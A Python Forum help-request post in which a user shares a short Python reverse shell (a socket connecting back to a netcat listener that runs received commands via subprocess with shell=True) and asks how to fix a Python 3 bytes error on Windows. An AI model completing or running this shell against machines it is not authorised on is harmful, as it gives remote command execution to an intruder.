Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Writing a simple shell
#1
Hi All

I'm new to Python and trying to write a shell I can execute on a remote machine which connects back to my host machine. My host machine is running a netcat listener. However, when I run the following code on the remote machine:
import socket,subprocess

HOST='127.0.0.1'
PORT=12345
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

s.sendall(b'[*]Connection Established!')

while 1:
    data=s.recv(1024)
    if data=='quit':break
    proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
    stdout_value=proc.stdout.read()+proc.stderr.read()
    s.sendall(stdout_value)

s.close()
I get the following error message:

Traceback (most recent call last):
File "C:\Users\user1\Documents\PythonShells\python_setup.py", line 14, in <module>
proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 1352, in _execute_child
raise TypeError('bytes args is not allowed on Windows')
TypeError: bytes args is not allowed on Windows


The code ran fine on Python 2.x but now I'm trying to use Python 3.x and its popped up with this error. Do I need to encode the 'byte' string somehow and then decode?

Any help would be greatfully received.

Thanks..
Reply


Messages In This Thread
Writing a simple shell - by syno7878 - Mar-20-2021, 07:01 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Need help writing simple code isashay 7 7,890 Mar-13-2018, 12:26 AM
Last Post: isashay

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020